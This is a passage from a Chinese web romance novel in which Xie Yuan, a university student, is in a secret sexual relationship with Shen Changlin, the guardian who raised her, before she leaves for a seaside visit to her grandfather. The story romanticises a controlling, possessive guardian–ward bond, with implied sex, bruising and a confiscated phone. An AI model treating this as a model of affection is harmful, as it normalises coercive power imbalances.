这回真的是将人欺负过了,沈长凛矮下身来,捧住谢沅的手,轻声说道:“叔叔错了,沅沅,以后不会这样了。”
他这辈子大概还是第一回如此低声下气。
但谢沅却不认。
“你以后都不要来接我了,”她哭着说道,“我不要你接。”
谢沅的话语非常任性,任性到不像她能说出来的,她的脸皮真的很薄,经不起逗弄,她有很多害怕的、担忧的事,平时不会表现出来。
但到情绪攀升到顶峰时,会出现另外幼稚任性又分外本真的一面。
如汤沃雪,似珠似玉。
沈长凛将谢沅抱得更紧,他低声说道:“叔叔真的知道错了,就原谅叔叔这一回,好吗?”
她的头发刚刚吹干,还有些微潮。
谢沅的眼眸也是潮湿的,声声都是委屈:“我都不认得他,而且只是讲礼貌话,你还那样问我……”
沈长凛越低声下气,她的指控越多。
但听到谢沅这样直白的话语,他心中并无不悦,反倒有一种很奇异的感觉。
沅沅终于敢对他发脾气了。
沈长凛将谢沅的指责照单全收,将人抱在腿上,轻声哄道:“是我的错,我不该误会沅沅,不该那样问沅沅,更不该在人前欺负沅沅。”
她坐在他的怀里,哭都要哭得没力气。
沈长凛一件件地将事情列举出来,谢沅又羞又气,被情绪激得一点理智都不剩,只想堵住他的嘴。
下一刻,他就真的如她做愿。
只不过谢沅也说不了话了,她被捧着脸庞,吻得发晕,眼泪也渐渐变了意味。
她快喘不过气时,沈长凛才放过她。
“沅沅不气了,好不好?”他看向她的眼眸,声音轻柔。
沈长凛生得俊美,眉眼深邃,鼻梁挺直,气质矜贵优雅,在夜色下那双颜色稍浅的眼看过来时,更是带着些惊心动魄的意味。
谢沅不由地就有些失神。
他轻笑一声,又吻了吻她的唇:“不说话就是答应了,沅沅。”
男人的指节修长,掌在腿根时,会有白皙的柔软轻轻溢出,谢沅刚想说些什么,话语就哑在了嗓子里-
夜间睡得实在太迟。
谢沅翌日睡醒的时候已经逼近正午,她抱着薄被缓缓睁开眼眸,费了些功夫才想起不是在午觉,而是一晚上过后刚刚睡醒。
记忆凌乱又破碎,她撑着额头,慢慢地回想。
昨夜的事宜渐渐如潮水般满涌过后,谢沅脑子里只余下一个想法,就是从楼上跳下去算了。
她的脸庞滚烫,耳尖也全都红了。
谢沅将脸蒙在薄被中,这辈子都不想要再出来,去面对现实中的一切了。
但没多时,一个电话就拨过来了。
还是视频电话。
看着【沈长凛】三个字,谢沅想对着墙直接撞死的心都有了,她执着手机,看了屏幕半响,也没有提起来勇气去接听。
就在她想要假装没听见挂掉的时候,指节不小心碰到了接听键。
谢沅更想死了。
第37章
谢沅昨天睡得很晚。
回到家的时候就已经快一点了,又折腾了半夜,最后睡去的时候大概得有三点。
她昨天本就很累,睡得又晚,中午能醒就不错了。
拨电话的时候,沈长凛也没想到谢沅会接,镜头闪烁,露出一张柔美的面容,她神情慌张,仍有些无措。
镜头晃动了一下,方才稳住。
黑色的吊带睡裙柔软,领口缀着蕾丝和精致的蝴蝶结,雪肤被衬得愈加白皙,腰身也被勾勒得愈加细瘦。
到底是夏天,小姑娘还要穿裙子,不好让她太麻烦。
但领口之下,隐约还能窥见浅红深红的痕印,掐痕、指痕、吻痕交叠在一起,像是秾艳的层叠花瓣。
沈长凛眉眼微抬,声音很轻:“刚刚睡醒吗,沅沅?”
明明睡得要更晚,起得要更早。
但他的容颜还是那样矜贵俊美,一丝倦色都没有,色泽稍浅的眸里光芒轻动,状态比平时还要好。
反倒是一直在被照顾的谢沅,累得昏昏沉沉。
刚被从浴缸里抱出来,就彻底陷入黑甜的梦乡,今早更是怎么都醒不过来。
沈长凛看向屏幕里的她,声音轻柔地问道:“没有不舒服吧,沅沅?”
只是视频,又不是直接面对沈长凛,谢沅的脸庞还是染了薄红。
“我刚刚睡醒,叔叔。”她摇了摇头,长睫颤动,“没有不舒服。”
谢沅局促地抬起眼眸,眉眼间还带着少许无措。
知她没有不舒服,沈长凛便放心许多,明日还要送她去瀛洲,要是这关头难受起来,很影响到时候的游玩。
“不难受就好,”他轻声说道,“已经不早了,下楼用午餐吧。”
谢沅有事情总喜欢掩着,他们刚在一起的时候,偶尔弄得太过,她身子又弱,有时会发热,某次沈长凛回到家后才发觉她已经烧了一天。
从那过后,他如果有空,早上总要跟她通一回电话。
谢沅乖顺地点头,应道:“好,叔叔,您也快去用午餐吧。”
但视频电话挂断的下一秒,她就将小脸又埋进了薄被里,脸庞是潮红的,连呼吸都是热的。
强烈的羞意,让谢沅的脑中都晕乎乎的。
她用冷水好好地湃在脸庞上,直到脸上的热意消退,方才准备下楼用午餐。
今天沈长凛和沈宴白都有事,家里没有人。
谢沅在睡裙外披了一件薄外套就走下楼去,外面的阳光很好,粲然的光线透过落地窗,照进岛台。
她抬起眼眸,就能看见外面换好的新花。
色泽清新,芬芳馥郁,遥遥地就能令人感到心旷神怡。
是谁更换的,为什么而更换的,几乎是不用想的事情。
谢沅脸上好不容易降下来的温度,复又变得升起,她红着脸庞,微微侧过脸去-
沈宴白回来的时候,还没到一点。
他清晨起了个大早,然后就去公司,将昨天差些收尾的工作全部完成。
事务处理好后,沈宴白的眉头舒展开来,助理也长舒了一口气,他拍了拍助理的肩膀:“辛苦了。”
然后他就自己开车回来了。
沈宴白指间勾着车钥匙,漫不经心地推门进去,刚一抬眼,就瞧见了坐在高脚椅上晃腿的谢沅。
午后的日光很好,她凝眸看向外边,够不到地的小腿晃来晃去。
用餐的礼仪被谢沅全都抛之脑后。
她撑着下颌,像小孩子般似的望向窗外,深黑色的吊带睡裙下,是不断摇晃的细白小腿。
谢沅的裙子大多是白色的。
纯白色的短裙,滚边是蕾丝或者蝴蝶结,穿在她的身上,带着几分不谙世事的纯真意味。
黑色的裙子,沈宴白只见谢沅穿过两次。
一次是前不久在露台时,一次就是现今在他的眼前。
沈宴白的眼生得和沈长凛很像。
颜色都略微有点浅,乍一看去的时候,有一种剔透澄净的感觉,蕴着晦意的时候也很像。
哪怕一言不发,依旧会让人觉着有些怕。
谢沅看了很久外边的花,侧身打算再用些午餐时,才发觉沈宴白回来了。
他倚靠在门边,身形瘦高,眸色晦暗。
那双眼实在是像极了沈长凛。
谢沅吓了一跳,她抿了抿唇,从高脚椅上下来,然后去迎他:“哥哥,你回来了。”
她没想到沈宴白会这么早回来,内里的衬裙还是睡裙,领口的前方是嫩白的雪肤,但在黑色蕾丝和蝴蝶结的边沿,可以窥探到禁忌的浅红痕印。
谢沅拉紧外套,将拉链一直拉到锁骨处。
“哥哥,你用过午餐了吗?”她抬起眼帘,“如果没有的话……”
沈宴白的眸底晦暗,带着些谢沅看不懂的情绪,她蓦地有些怕,话音也越来越低。
但谢沅的话还未说完,沈宴白就低声打断了她:“把衣服换掉,谢沅。”
他的声音低沉,带着点冷意。
谢沅的眸光颤动,她的樱唇紧抿,脸色也瞬时就白了下来。
这段时间沈宴白待她很好,她都快要忘记他从前是怎样厌烦她,看都不想多看她一眼。
谢沅的指节收紧,她低下眼眸,声音低弱地应道:“好,哥哥。”
她一句话也没有多问,也没为自己辩驳,回身便上了楼,看起来好像什么情绪也没有,但沈宴白看见了她上楼时抬起来擦眼泪的手臂。
他说不出心底是什么情绪。
方才的话语近乎是本能般言说出来的,过去片刻后,沈宴白自己都不知道那是怎么一回事。
他的情绪躁郁,像是起伏的波涛,来回地翻腾。
这是在家里不错。
可谢沅是个姑娘,还是个已经发育成熟的大姑娘,有些事情,她应该明白,和男人之间的边界,她更应该懂得。
如果方才回来的叔叔,见到谢沅这幅打扮,他会怎么想?
沈宴白的思绪紊乱烦躁。
沈长凛是什么人,他再清楚不过了,叔叔禁欲克制,多年来不近女色,更不可能对一手养大的谢沅有什么想法。
可这不代表谢沅就能不重视边界。
叔叔跟她到底是没有血缘的,不是吗?
谢沅过了一刻钟左右才下来,她的眼眶微红,神情乖顺,柔弱地唤道:“哥哥。”
她换了身连衣裙,裙摆落在膝边,看起来很得体。
这时候应该说些话安抚谢沅的。
但看着那将要跟裙摆融为一体的雪肤,沈宴白的情绪更加躁郁,他低声说道:“继续用午餐吧。”
谢沅轻轻点头,她撩起裙摆,坐回到高脚椅上。
只那双水眸,再也不灵动地闪烁,她安静地执起餐叉,用完午餐后便又上了楼。
沈宴白抿了抿唇,想跟谢沅说些什么,但她走得很快,神情还带着些脆弱,他到底是没有言语。
他最近都不会出远门,事情又已经忙完,总能找到合适的时机跟她好好谈谈的。
沈宴白点了支烟,站在露台边慢慢地抽-
沈宴白就下午有空,没在家里待多久,又出门离开。
谢沅听到轿车发动的声音,方才从薄被里冒出头,她的眼眸红红的,神情也带着些难过。
她犹豫了好久,晚间要不要下楼用餐。
现在沈宴白走了,谢沅才敢从卧室里出来。
她午餐没有吃好,还不到三点就有些饿,她去楼下拿了一盒冰激凌,坐在起居室的地毯上,慢慢地吃了很久。
明天就要去瀛洲了。
秦老先生忙碌了大半年,难得有空。
谢沅不想见到他时太萎靡,她吃完冰激凌,就又爬到了床上。
瀛洲那边的东西很齐全,沈长凛只在她的小行李箱里装了很多裙子。
其实谢沅在瀛洲至多也只待半个月,秦老先生很忙碌,除却疾病,只每年夏天会得空在那边待一段。
但沈长凛真的很爱给她打扮,去瀛洲那样近,而且又是去见外公,他给她准备的却都是新裙子。
谢沅一边想明天的事,一边将床头的灯按灭。
她这一场午睡过去很久,醒来的时候,天都黑了。
一睁眼就对上了沈长凛的视线。
他抬手抚上谢沅的额头,声音很轻:“怎么睡这么久?真没有不舒服吗?”
她懵懂地被沈长凛扶抱起,柔膝分开,跨坐到他的腿上。
“没有,叔叔。”谢沅摇头说道,“我就是有点困。”
或许是睡迷糊了,她这会儿也不记得羞和怕了,声音软软,眸里的水光也摇晃着,看起来分外的乖柔。
沈长凛轻吻了吻谢沅的额头。
他托住她的腰身,将她抱在腿上,声音微哑:“明天沅沅就要去瀛洲了。”
沈长凛的语调很温柔,但攥住谢沅腰身的那双手却不是那回事,她的身躯绷紧,低低的呜咽声从喉间溢出,还未来得及言语,就被咬住了唇瓣。
他吻得强势,指节抚着她的腰线,轻轻收拢。
谢沅喘不过气,被放开之后,无力地趴在沈长凛的肩头,低低地喘息着,连裙摆是何时被推起的都没有意识到。
她只听得见沈长凛轻声说道:“今天哥哥不在,沅沅。”
然后,身躯就坠入深水之中。
谢沅在被浪潮吞噬时,沈宴白正在茶室喂鱼,晚间的时候天边突然下起小雨,他站在廊道边,掌心是一捧鱼食。
茶室很有古味,中央是镂空的。
鱼池聚水,锦鲤跃动,连不远处的乐声都是古琴,颇有几分情调。
沈宴白执着鱼食,眉眼低垂,脸上没什么情绪,就那样一粒一粒将鱼食地往水池里面投,看着一群金红色的锦鲤游来游去。
霍阳套上外套,走到他身边,也跟侍者要了些鱼食。
他银灰色的短发又变回了顺服的黑色。
看起来不像个公子哥,倒像是一个平常的大学生,浪荡风流的眉眼都多了些许清澈。
沈宴白掀起眼皮,看向霍阳:“你这染来染去,不嫌麻烦吗?”
霍阳喂鱼很平常人不一样,很惹鱼讨厌,他东一处西一处地扔鱼食,让锦鲤们跃动来跃动去,争了半晌也没能吃到多少。
他习惯性地捋了把短发。
“没办法啊,”霍阳笑了笑,慢声说道,“这不马上要去瀛洲见老爷子吗?哪敢顶着一头灰毛过去?”
霍老先生已过八十,开始颐养天年。
霍家很讲究长幼秩序,霍阳在外面潇洒恣意,但家里父亲一声令下,立马就乖乖要去瀛洲陪老爷子。
沈宴白低笑了一声,说道:“霍少纯孝。”
他继续喂鱼,将那鱼食随意地掷着,心情也看不出来是好是坏。
霍阳状似不经意地问道:“承月哥跟小谢妹妹真的掰了?”
近来已经有很多人这么问沈宴白,尤其是之前温思瑜生日会的事过后,沈家没有表态,基本就是默认的意思。
秦沈两家的关系特殊,说是一家人也不为过。
这桩联姻几乎是有点女儿嫁儿子的意味。
再加上本来就没过明路,现在分开又分开得静谧,秦承月本人也守口如瓶,让想要八卦的人连丝缕内情都窥见不到。
但霍阳的消息多通达。
两人关系又近,也没必要藏着掖着。
“嗯。”沈宴白倚在栏边,声音平淡,“叔叔还是不同意。”
他好像没什么情绪,神情却是放松的,全然没有为秦承月遗憾的意思。
霍阳的神情微动,他的唇角上扬,但很快又恢复自然。
他故作恍然,说道:“哦,原来还是因为之前的事。”
“也不是什么坏事,”霍阳拍了拍沈宴白的肩膀,“小谢妹妹这样的女孩,值得更好的男人。”
他笑容疏朗,像是真心为谢沅考虑的兄长。
“承月哥人是不错,但跟小谢妹妹,确实有点不合适,”霍阳宽慰地说道,“而且他们差了六岁,这都两个代沟了,还是世叔考虑周全。”
沈宴白觉得有点莫名其妙。
霍阳不过就是跟谢沅玩得多,撑死算个玩伴,这是他们家的家事,哪里用得着他来操心?
但说完室内有人唤霍阳,他便先走了。
沈宴白没了喂鱼的兴致,忽然又想到今天中午的事。
谢沅这个人,说好点叫天真纯善,说难听点就是极易哄骗。
她对异性有着本能的排斥和畏惧,但是在亲近的人跟前,又没什么防备。
霍阳算什么好人呢?
他浪荡风流,八面玲珑,骨子里又带着点凉薄,而且从前也很看不上眼谢沅。
不过就是后来偶然跟她走近,她便觉得他是个多好的哥哥,殊不知,但凡是个女人,霍阳都这个样子。
也就只有谢沅会天真地跟他待在一起。
不想还好,沈宴白越想越觉得头疼,之前他还有些高兴谢沅没跟别的男人有什么牵扯。
现在他只觉得这是个大麻烦。
谢沅好像是真的不会辨别男人,也真的不懂到底什么是边界。
沈宴白站在鱼池边,思绪越来越乱,那阵躁郁的情绪也又涌动上来,他揉了揉头发,看了眼腕表。
已经十一点了,这会儿谢沅肯定已经睡了。
算了,要不明天回来再跟她说吧。
听助理说,谢沅好像挺喜欢某家私厨的,沈宴白已经让人预订,明天带谢沅去吃饭,顺便好好地跟她谈谈。
想到这里,他略有阴翳的眉眼,方才亮了少许-
沈长凛没让谢沅睡得太迟,但翌日她还是有点起不来。
她睡眼惺忪着被沈长凛抱起,在他怀里洗漱完的,用早餐的时候也依旧满脸困倦。
沈长凛温声哄着谢沅,才喂她将早餐吃完。
两人已经有段时间没有分别超过一周。
昨夜他刻意敛着,还是将谢沅累坏了,她最后哭得很厉害,意外将他的手腕抓破了,碰到血的时候,她瞬时就吓坏了。
沈长凛的腕骨精致苍白,那样清浅的一道,丝毫不显怪异,反倒有些别样的意味。
好在她已经累到极致,没多时就昏沉地睡去。
用完早餐后,谢沅终于清醒过来,也又想起这桩事。
她抬起长睫,看向沈长凛的手腕,眼中尽是愧疚:“抱歉,叔叔,我……”
他吻了吻谢沅的脸庞,轻声安抚道:“别怕,沅沅,叔叔没事的。”
沈长凛挽起衣袖,让她看已经快要愈合的抓痕。
那么轻,跟猫崽子抓得似的,难为她还一直记挂着,不过谢沅马上就要去瀛洲,记挂着他也好。
沈长凛掩住眸底略有病态的欲念。
他温柔地牵过谢沅的手,然后送她下楼,来接谢沅的车已经到了,秦老先生身边的李秘书也过来了,热情地打招呼:“沈总,沅沅,好久不见。”
李秘书跟着秦老先生去国外多时,这会儿才回国不久。
谢沅很有礼貌,说道:“李叔叔好。”
沈长凛送谢沅上车,加长的轿车很舒服,在路上睡一觉也是全然没问题的。
她坐上车,握住沈长凛的手却一直没松开。
她什么也没说,略微紧绷的神情里,藏着的却尽是对他的依恋和不舍。
沈长凛很久没跟谢沅分开,谢沅也很久没有跟他分开了。
他神情微动,趁李秘书不注意的时候,轻轻垂首,吻了吻谢沅的额头:“我在瀛洲的事务还没解决,要是得空的话,会去看沅沅的。”
谢沅也想起沈长凛之前去瀛洲的事。
她的眼眸微微亮起,声音柔软:“好,叔叔。”
谢沅的神情一下子就放松很多,她的情绪是那么明显,但她自己估计完全没有意识到。
沈长凛唇边含着淡笑,轻声说道:“一路顺风,沅沅。”
谢沅趴在车窗边,跟他招手,一直到他的身影彻底消失,才垂下眼眸。
明明只是去瀛洲,那么近的地方,而且是去看外公的,过去以后也只会玩,但她的眼眶还是有些酸涩,心情也低落下来。
叔叔是哄她的吧?
他那么忙碌,哪里有时间去看她呢?-
沈宴白没想太早跟谢沅说他订了餐厅,昨天他说话时有点凶,应该是将她吓到了。
而且她一天到晚都在家里,何时找她都是一样的。
下午五点,沈宴白给谢沅拨电话,她也不知去何处了,一直没有接,打她房中的电话,也是无人接听。
他没想太多,谢沅平时看手机少,在露台看书的时候,也不带手机过去。
回家后再将谢沅接住也是一样的。
沈宴白放下电话,给她发了消息,然后继续看文件,直到六点方才离开。
他回到家里的时候,沈长凛也才回来不久。
沈宴白有些迟疑地问道:“叔叔,沅沅今天出去了吗?我一直联系不上她。”
谢沅总不至于还在为昨天的事,生他的气吧?
沈长凛抬起眼帘,神色微异:“我之前没跟你说吗?沅沅去瀛洲看外公了,大概半个月后回来。”
沈宴白的神情愣怔,身躯也僵在了原处。
第38章
谢沅很久没来瀛洲,上回过来还是在去年夏天。
今年一年秦老先生都很忙,大部分时间在国外,连电话都没有跟她通过几次。
燕城离瀛洲并不远,开车的话两个小时左右就能到。
谢沅刚开始心情还有些低落,但昨夜折腾得太过,现在还困得厉害,她没难过多久,就昏昏地睡了过去。
再睁眼的时候,就已经要到瀛洲了。
谢沅的眼眸亮起,一眨不眨地看向外间蔚蓝色的海水,上回去看海还是跟着哥哥,燕郊也有海可以看,但相比瀛洲这边,就要差太多了。
灰蒙蒙的海水,并不好看。
谢沅一直觉得像这样瀛洲的海,才能算是真正的海。
天空高远开阔,海水蔚蓝清澈。
车窗打开后,海风拂向谢沅的脸庞,将她落下来的乌发吹得高高的。
李秘书见谢沅睡醒,温和地说道:“今年还要学冲浪吗,沅沅?”
瀛洲是一座标准的临海城市,海上运动很流行,相关配套设施的建设也很完善。
谢沅每年夏天过来,都会遇见来陪霍老先生的霍阳。
他酷爱极限运动,冲浪、潜水、帆船,也无一不精,人到了瀛洲之后,更是如鱼得水,玩得那叫一个无所顾忌。
最主要的是,他还特别爱带人。
谢沅去年被霍阳骗过来学冲浪,学了好多天,也没有学好,反倒差点被晒伤。
秦老先生看她那样上心,以为谢沅喜欢,还专门请了一位职业运动员来给她当老师,她不得不学了一整个夏天。
最后在专业人员的指导下,也学得像模像样。
谢沅摇了摇头,紧忙说道:“不学了,李叔叔。”
她虽然是学得差不多,但跌进海里好多次,呛水呛得快要长出鳍来,现在连泳都不喜欢游了。
后来谢沅讲给沈长凛,他那样矜贵淡漠的人,也笑了她好久。
她羞得脸庞通红,很久都没有再应霍阳的邀约,不过那个学期的游泳课,却因之拿了不错的成绩。
李秘书也想起旧事,笑得乐不可支:“好,好。”
“对了,李叔叔,”谢沅仰起脸庞,声音细柔,“外公最近身体还好吗?”
她养在沈家多时,所有的辈分都是随着沈宴白叫的。
唯有对秦老先生,是随着沈长凛唤的外公。
“老先生身体好着呢,前段时间还去爬山,”李秘书扬起眉眼,“体检报告也好得很,比你霍阳哥的父亲还康健。”
秦老先生去年刚迈入古稀之年。
他很注意养生,年轻时也常健身,除却之前做过一次手术,连疗养院都很少进。
谢沅大逆不道地心想,外公大概比哥哥还要更健康。
两人正说着,加长的轿车就停了下来。
谢沅下车,映入眼帘的就是不远处的蓝色海湾,瀛洲树多林密,高耸的乔木在风中舒展枝叶,青绿如洗。
她抬手按住遮阳帽,抬眼眺望那黄金般的海岸。
李秘书帮谢沅将小行李箱拿下来,然后带她上另一辆轿车。
这一回是他亲自做的司机,谢沅坐在副驾,眼眸还是忍不住地盯着蓝海在看。
李秘书温声跟谢沅做介绍:“你有段时间没来了,瀛洲这边新修了很多公园,还有博物馆什么的,一到假期,燕城那边好多小孩子过来。”
两个城市离得近,乘高铁也很方便。
乘上李秘书开的这辆车后,路边的人迹越来越少,风光也越来越好。
谢沅弯起眉眼,笑着问道:“有游乐园吗,李叔叔?”
“当然有,新开了一家海洋公园,”李秘书跟她耐心说道,“你要是敢玩过山车一定要去,跟滨城那个都有的一拼。”
谢沅的眼眸更亮了。
她虽然不敢玩过山车,但是连过山车都这么好玩,其他的肯定也很有意思。
李秘书一边跟谢沅聊天,一边继续开车,大约又过了半小时,车停在了谢沅熟悉的那座小楼之前。
秦老先生气质温文,从容淡然,鬓发不久前才刚刚染过,带着些看不出年纪的儒雅。
一身卡其色的长风衣,显得既落拓又斯文。
生人看见,只会觉得这位老先生气度很好,绝不会想得到他是那个位高权重的秦老先生。
跟沈长凛这个外孙不一样,秦老先生气质里的温文和儒雅是由内而外的。
谢沅的眸光闪烁。
车一停下,她就立刻解开了安全带,小步快跑到秦老先生的身边,脆生生地唤道:“外公!”
秦老先生接住谢沅,温声说道:“好久不见,沅沅,最近还好吗?”
她的眼眸亮晶晶的,声音柔软:“最近很好,外公,我前段时间参加一个比赛,还拿了冠军呢,叔叔有跟您讲吗?”
谢沅随着秦老先生向着小楼里走去。
向来寡言少语的小姑娘,难得多话,像小雀般叽叽喳喳地讲着些什么。
秦老先生轻轻点头,笑着应她的话。
这边照顾谢沅的人比沈家还多,李秘书刚推着谢沅的小行李箱走进,就有一群人过来抢着接过去。
瀛洲的生活节奏慢,相应的日子也会无聊很多。
但有了一个小姑娘后,一切都变得不一样起来。
去年谢沅学冲浪,整个别墅的人每天都在热切地关注她的进度,恨不得亲自上去教她些什么。
她上回在瀛洲待了一个多月,可话题围绕她,至少讲了半年。
燕大的暑假伊始,就有人开始数着日子,盘算谢沅什么时候会过来。
虽然她这半年忙于学业,连电话都鲜少往这边通,但她身上发生的事有谁会不知道呢?
谢沅自己都还没见到期末成绩单时,这边就已经知道了。
岑家那个纨绔意欲绑架她的事情,最后更是由李秘书亲手收的尾。
可那些事情,哪怕早已熟知,听谢沅亲口讲出来,还是不一样的。
时间已经不早,小姑娘又奔波一路。
该上午餐的时候,连常出外勤的人也领了厨师的职责,将餐点摆上去时温声和谢沅做介绍。
整个别墅,都因为她的到来而热热闹闹,但谢沅却从来没有发现过。
她执着汤匙,舀了一勺冰激凌球,柔声说道:“外公,您这里的冰激凌比别处都要好吃。”
谢沅眯着眼眸,唇角也翘了起来。
当然好吃了,厨师心里都是自得,要是不好吃,怎么引得大小姐多过来瀛洲呢?-
霍阳坐在车上,慢慢地摘下眼罩,刚一打开手机,就看见一大串未接来电。
他看到是沈宴白,还有些讶异。
霍阳回拨过去,那边一接通,沈宴白便劈头盖脸地骂过来:“霍阳,你是不是故意的?谢沅要去瀛洲,你昨天怎么不跟我说?”
瀛洲的天已经黑了。
这边的风景很好,夜晚更是能看见星星。
霍阳不由地一乐,他一边拨弄着黑色的短发,一边唇边含笑地应道:“这么巧?小谢妹妹也是今天过来?”
“我真不是故意的,哥。”他笑着说道,“我这才刚到瀛洲,你不说我都不知道她过来了。”
燕城有大院,瀛洲这边也差不多。
秦老先生和霍老先生关系不错,两人在瀛洲的居所也离得很近。
霍阳和谢沅正是因此,渐渐熟悉起来的。
沈宴白骂骂咧咧,在家里伪饰多时的好脾气全都烟消云散,他骂了句脏话,然后冷脸挂断电话。
他向来看不惯谢沅。
现在待谢沅温和些,大概也是沈长凛的缘故。
这回不知道又是何处看不顺眼谢沅,电话都打到他这里了,霍阳按灭屏幕,双手交扣叠在脑后。
不过也好。
沈宴白那么风流,又那么惹女生喜欢,要是他哪天不讨厌谢沅了,才是麻烦。
但谢沅过来得真够快的,她这会儿应该已经到瀛洲多时了吧?
要是时间合适的话,今晚或许还能一起吃晚饭。
霍阳没问人,也没看手机,他扬着唇角,就那样瞧着外边的风景,看了整整一路。
谢沅看手机本来就不多。
前段时间被沈长凛收了手机,更是快把手机给彻底戒断,而且如果有重要消息的话,别人总有法子联系到她的。
她刚到瀛洲,众人都怕她累着,带她看了看新整修的房子,就哄她午睡去了。
谢沅本来是有些精力的,但睡到那张熟悉的大床上不久,便睡了过去,她昨天没睡好,走的时候沈长凛特地跟李秘书交代过,让谢沅中午多睡一会儿。
于是没有人来叫她。
谢沅一觉睡到了五点多,她羞得满脸通红,很不好意思地下楼。
秦老先生已经开始短暂地休假,但平时还是有事情要忙,知他出去了一下午,她脸颊的滚烫才凉下去少去。
小楼里栽种了很多新花。
跟沈长凛叫人移植过来的不一样,这里的花都是园艺师亲手培育出来的。
虽然没有那么昂贵鲜丽,但却透着别样的生机。
谢沅跟着众人过去看,发现葡萄藤边还搭了一个新的秋千,她很好不意思说喜欢,阿姨却已经拉过她的手,让她坐了上来。
李秘书还让人摘了点葡萄,瀛洲的葡萄七八月熟,深紫色的葡萄,像宝石般晶莹剔透。
谢沅尝了一颗,水眸瞬时就亮了起来:“葡萄好甜呀。”
“沅沅跟葡萄真是有缘,”李秘书也尝了尝,然后分给众人,“昨天还有点酸,今天你一来,葡萄就变甜了。”
他笑容温和,言辞蔼然。
谢沅是很容易害羞的人,但在瀛洲和众人相处时,胆子往往会大很多。
她眉眼弯起,软声说道:“是园艺师叔叔很厉害。”
谢沅的水眸时常是低垂着的,可今天一整天都是亮亮的,像是装满了星子。
她随着众人在花园里逛了很久。
八点钟时,秦老先生回来,温声说道:“你霍阳哥哥也过来了,霍爷爷邀请我们过去用晚餐。”
谢沅这才想起霍阳。
也是这个时候,她才记得打开手机,屏幕刚刚亮起,霍阳的电话就打过来了。
虽然只是私下的聚会,但还是要注意着装。
谢沅在卧室换衣服,她正在穿裙子,单手接起电话,声音柔软:“霍阳哥?”
霍阳的声音带着点慵懒,他拖着腔调说道:“出发了吗,小谢妹妹?老爷子让我问问,你们还要多久过来?”
谢沅连声说道:“马上就出发,大概十分钟左右就能到。”
她根本无暇顾忌其他,挂断电话后就立刻换好衣服,然后哒哒哒地下楼。
连在家中时,谢沅都没有这样放松。
李秘书笑着看向她,轻声说道:“不用急,沅沅,还早呢。”
谢沅反应过来,霍阳又在哄她。
他跟沈宴白差不多大,甚至因为早上学,比沈宴白还要更早毕业。
但霍阳总还很爱逗谢沅,常常还哄她。
谢沅的脸颊透着绯色,她回想霍阳的话,又发觉他的言辞中偏生没有漏洞,他没有明确骗她快迟了,只是用语气巧妙地催促她。
他都这个年纪了,怎么还老是这样?
谢沅心里生气,但霍阳一见到她,就满脸笑意:“真巧啊,小谢妹妹,如果不是你哥哥打电话,我都不知道你也是今天过来。”
他热情地向她和秦老先生问候,像个周到至极的东道主,很有礼貌地亲自来迎,然后接他们过去。
谢沅气都没有处气。
她只能在落座后,小声地跟霍阳说:“霍阳哥,你以后再这样,我就不相信你了。”
不知是有意还是无意,他们这两个小辈被安排在了一起。
霍阳唇角高扬,轻声说道:“哥哥不是故意的,小谢妹妹,实在是我们家老爷子,想见你想得紧了。”
这时候谢沅不得不承认,换发色还是有用的。
在通电话时,她还能想得到霍阳轻佻的模样。
但对着眼前这个一头黑发、模样纯良的青年,谢沅第一回觉得有点无话可说。
霍阳哥说得也有几分道理,老先生当然不可能把话说明白,这催促肯定要由善于体察的小辈来做。
他在家里是晚辈,却很受霍老先生喜欢。
谢沅长这么大,也没有见过比霍阳更会说话的人,他实在太会哄人了。
她低下头,软声应道:“好吧,霍阳哥。”
霍阳唇边的笑意更深,柔声说道:“去年冲浪学得不错,今年有什么想玩的吗?”
他不提还好,谢沅一想到当初被他骗去冲浪,就又生气起来。
“今年我自己玩,霍阳哥。”她有点气恼地说道,“而且绝对不玩任何危险的东西了。”
谢沅的脸庞透着薄粉,明明是应该是在生气,但瞧着却更加娇柔可爱了。
霍阳大笑着说道:“好,好,都听小谢妹妹的。”
霍老先生原本没想着让霍阳亲自去接谢沅的,他是个懒鬼,被他父亲纵得没边。
但方才说起的时候,霍阳二话不说就主动请缨。
霍老先生还有些疑惑,孙子何时转了性,可见到此情此景,他还能有什么不明白的?
燕城的女孩很多,霍阳也向来风流,他待谢沅却一直很好,从前她身上有婚约,有些事也不便多言。
现在谢沅和秦承月那边彻底断了。
沈家的女婿,可有的是人想做。
霍老先生对霍阳一直颇有微词,心里却还是很偏疼孙子的,自觉他什么都好,只是……有点风流纨绔。
沈长凛那般疼谢沅,能接受得了霍阳吗?
霍老先生一生果决,看到孙子这幅模样,却难得有些愁,不过高低还有他的面子在这里摆着。
实在不成,他亲自给霍阳作保-
谢沅在瀛洲的生活很自由自在,比在家里还要更舒服。
她大一那会儿,初离开高中,作息很随意,也会熬夜,但后来某次头痛,被沈长凛发觉,就再也没敢主动熬过夜。
他管教她向来严格。
这半年来,两人朝夕相处,谢沅更是一点都不敢胡来。
走的时候还在不舍,但在瀛洲待了两天,她就将那些离愁别绪忘了个一干二净。
沈长凛犹豫再三,才给她装的书,也被她抛之脑后。
谢沅将之前的消息都回复了回复,跟沈宴白也通了电话,问他那天有何事,沈宴白却没有多说。
之前的队友很热情地跟她讲项目落地的事。
谢沅还跟他们通了视频,见到背景的蔚蓝海水,余温的鼻尖都快怼到屏幕上。
她夸张地说道:“豪华海景房!沅沅,快说实话,你去哪里玩了?”
谢沅抿唇一笑,声音柔软:“没有去哪里,就是在瀛洲。”
她跟着霍阳和瀛洲的几个朋友来海边玩,身上也难得穿了泳装。
只不过在讲视频,外面还穿着外套。
余温还是有些疑惑,问道:“瀛洲的风景有这么好吗?我上次去怎么没感觉?你住的是哪家酒店呀,沅沅?”
她再追问,谢沅就要答不上来了。
好在这时有人来叫谢沅过去,她匆匆应了一声,然后低头看着屏幕说道:“我先过去了,咱们回来再聊吧。”
霍阳在瀛洲的朋友不少,谢沅每年过来,在这边也有相熟的人。
临海的酒店很适合玩。
谢沅踩着兔子拖鞋走出房,不知道为什么,酒店的拖鞋跟她家里的很像,也是兔子拖鞋。
白白的,还有耳朵。
谢沅的泳装也是,因为是泳装,白裙的裙摆很短,哪怕披着外套,还是将那雪肤和窈窕身形展现得淋漓尽致。
她总是害羞,不好意思。
但去年练了一夏天的冲浪,其实也能够适应。
谢沅从霍阳的手中接过果汁杯,轻轻地咬住吸管,深深地吸了一大口。
七八月是一年最热的时候。
已经快到傍晚,又待在水边,还是热得不可思议。
霍阳的眼眸微微眯起,在身畔陌生男人向谢沅投来目光时,神情冰冷地看了回去。
那人被吓得不轻,紧忙收回目光。
